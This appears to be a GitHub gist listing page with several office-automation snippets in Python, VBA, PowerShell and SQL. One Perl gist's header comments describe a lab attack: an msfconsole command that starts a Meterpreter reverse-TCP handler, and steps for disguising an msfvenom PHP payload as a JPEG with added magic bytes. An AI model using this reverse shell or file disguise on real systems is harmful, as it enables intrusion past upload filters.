This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def column_name(iVal): | |
retVal = None | |
if iVal <= 26: | |
retVal = chr(64+iVal) | |
else: | |
m = int(iVal/26) | |
n = iVal - m*26 | |
if n==0: | |
m = m-1 | |
n = 26 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Public Sub JoinCells() | |
Dim xls As Excel.Worksheet | |
Dim cell As Excel.Range | |
Dim destn_rge As Excel.Range | |
Dim combined As String | |
Dim i As Long | |
i = 0 | |
Set destn_rge = Nothing |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
update "DevTest" set ip_address = (regexp_matches(description, '\d\d?\d?\.\d\d?\d?\.\d\d?\d?\.\d\d?\d?'))[1] where vm = 'PER2RCA01' --,'PER1TFS02','PER1UFS01','PER2AADS01','PER2ICA01','PER2RCA01'); | |
select vm, ip_address, description from "DevTest" where vm = 'PER2RCA01'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# These get modified for each run | |
$dict = @{ | |
"xls" = "Excel"; | |
"mpp" = "Project Plans"; | |
"ppt" = "Slide Decks"; | |
"vsd" = "Visio"; | |
"doc" = "Word"; | |
"pdf" = "PDF" | |
}; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add-Type -assembly "Microsoft.Office.Interop.Outlook" | |
$Outlook = New-Object -comobject Outlook.Application | |
$namespace = $Outlook.GetNameSpace("MAPI") | |
# Do stuff | |
# Folders.Item(2).Folders.Item(2) is Inbox on the second email account | |
$sntItems = $namespace.Folders.Item(3).Folders.Item(4) | |
$f = $sntItems | |
$outItems = New-Object System.Collections.Generic.List[System.Object] | |
$f.Items | ? { | |
$_.SentOn -gt (get-date).AddDays(-30) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
#developer:$apr1$Wv63/0xM$6hoeCDM.YzSITNZYFf6Bd/ | |
# | |
# kali ip = 10.10.1.190 | |
# exploit vm ip = 10.10.1.59 | |
# msfconsole -x "use exploit/multi/handler; set PAYLOAD php/meterpreter/reverse_tcp; set LHOST 10.10.1.190; set LPORT 6000; exploit" | |
# use msfvenom to generate php payload, copy it to windows and use Winhex to insert binary code at the commencement of the file so that it resembles a jpeg | |
# xxd exploit.php | head -n 1 | |
# 00000000: ffd8 ffde 0a2f 2a3c 3f70 6870 202f 2a2a ...../*<?php /** |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pptx | |
import os | |
import re | |
import exifread | |
import time | |
import pprint | |
from pptx.util import Cm | |
from PIL import Image | |
from random import shuffle |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Public Sub AlignCenterMiddle() | |
Dim shp As PowerPoint.Shape | |
For Each Slide In PowerPoint.ActivePresentation.Slides | |
For Each shp In Slide.Shapes | |
With shp | |
sngDefaultSlideWidth = PowerPoint.ActivePresentation.PageSetup.SlideWidth | |
sngDefaultSlideHeight = PowerPoint.ActivePresentation.PageSetup.SlideHeight |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import time | |
import subprocess | |
for i in range(74, 79): | |
os.system(" ".join(["curl", "https://www.raspberrypi.org/magpi-issues/MagPi{}.pdf".format(str(i).zfill(2)), "-o", "/Users/rdapaz/Downloads/MagPi{}.pdf".format(str(i).zfill(2))])) | |
time.sleep(1) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\XC261QBO | |
^ | |
| | |
| | |
| | |
May be | |
doesn't | |
matter |